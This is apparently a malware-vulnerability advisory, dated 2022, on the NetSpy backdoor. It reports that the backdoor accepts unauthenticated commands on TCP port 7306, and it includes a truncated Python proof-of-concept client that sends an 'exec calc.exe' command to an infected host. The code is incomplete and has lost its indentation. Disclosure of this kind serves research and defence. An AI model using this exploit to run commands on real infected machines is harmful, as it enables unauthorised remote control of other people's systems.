Discovery / credits: Malvuln - (c) 2022  
Original source:  
Threat: Backdoor.Win32.NetSpy.10  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 7306. Attackers who can reach infected hosts can run commands made available by the backdoor. Sending commands using Ncat and Telnet both fail with errors, probably don't like the linefeed chars, so need to write your own custom client. Example commands avail are put, mkd, exec and msg.  
Family: NetSpy  
Type: PE32  
MD5: 45d413b46f1d14a45e8fd36921813d62  
Vuln ID: MVID-2022-0551  
Disclosure: 04/14/2022  
from socket import *  
import time  
CMD="exec c:\\Windows\\system32\\calc.exe"  
def chk_res(s):  
while True:  
res += s.recv(512)  
if "\0" in res or "\n" in res or res == "":  
return res  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
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